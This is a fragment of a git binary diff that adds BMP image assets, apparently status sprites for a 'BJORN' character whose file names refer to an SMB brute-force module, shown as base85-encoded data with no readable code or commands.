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 Het!Q4(mo13 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce11.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce11.bmp new file mode 100644 index 0000000000000000000000000000000000000000..961601342f83c19be9bcf25b71cc87f3e3748e7b GIT binary patch literal 18462 zcmdU$2V4}_`uDM61Elxfmb&aN+skb4l`c{R#fI2LQGwk>5EM)7CH4{%Yc#eb#%?T8 z!Cp}m6FZ`G*nOYb)m(4xjU_Sf|8wW_FwD-LnLXe0`#tBJ*_q`jy(Jc=g$(Nu_*1?4 z>tf+*+W(u_!s3{X`OmZiR_xEYu-I(oe+$_Ep5@Puf>WUfA_zh@EiBfbo`=C;P{?HD z&kMkLEG&%w3rlBbXGcfJ`)g|WP=U|FYUnhg(Q0UW)!Fo>muxT^KpmDU%x z+8b&+o1YpDO-5s9Q)A<|J9lo{uA6m)5+jUQu7Qr2fKUh!^JIasfWV9EP+GNjq{6NRxN#g;ma#O%ztuyi+0pNRS%-es7wXLDr}$)>p4;xU~8u#6?q7uYURO0R>)PS=)4VEflD)S_#KCUte3E zmnsh-#xbcZKg`)l-_$R;uqIWXjIir2e`jcUqu>P7V`c&q99`kJ5SU)@{z;=-!d8yo5`K%1>jXCQk9FI*U3 zKzGGlDgO4}tV2&1o}9+dD$COtU;J#QnO8QmARAkrJA435__S6XzJ`*b# zq^;rJt2^Jlyu7~t;>w2VeZ#ypwPzY!$rQ~%m6IY6H|~PuRXE2 z`R4k@E2z?q*H8%|UR_z!a&!IVy|af)ICKvT!!JS^jNQLzQq#5d;E5cu@Q1vW7j-+6 zf|(a}JL={ity^&9T*(eKo^trd?Nt}f->s?1%NZtcBZ|GLmvp=C&N)~+@9?on>k|-3 z?frZIiTmlgn$KY{bhbA=Zhd~E>DN<@cfWsqb4SC~ji|uYU$);`ySY4%>=U|R#fE(s zu6+5;_X1L4DxFn#VhN<+Z>N?#IKH^<_~KtrEd`mc?wu{hM91)lY}|8n-?@wW(zz73 zz@Ju5>#W^4LM7TU=!>hmUCF_$3%c!fi%;D7;^5;&$EHh%`1f_7y7|Y!7~>b_ZDXH9 z&^(xV_)g`)d-D#}&OJ1kru^~1{?Ety?wJ6)v#qhSrM|84QEUC}=QXF}$n^XPU+z5E zSyoatY2@Di0$osdFL@|V9Z8Y|<3vGN2uW~MOca^#7l!E>l&P9GdDQ-y6_>v|+BPtG z@-Vf$>G{?CtbyCpXKolcgW?)^v1Di6{Nr~QAAPvB>f{&uRt}wecI&Z|-=6s8z}d40 z&RsolrDj|8&BaG=&HVAv;-7WW>_xLHp@x6xq5i6_@3Q`3`@+xXqU}TYm?Vk=5^WVi z>le&%3zr5`WdU?WAVZB|szaEtR$-X(K)Nh|Ch?~r&Y={WAVS|znv0O-uM}fh_wPNZ 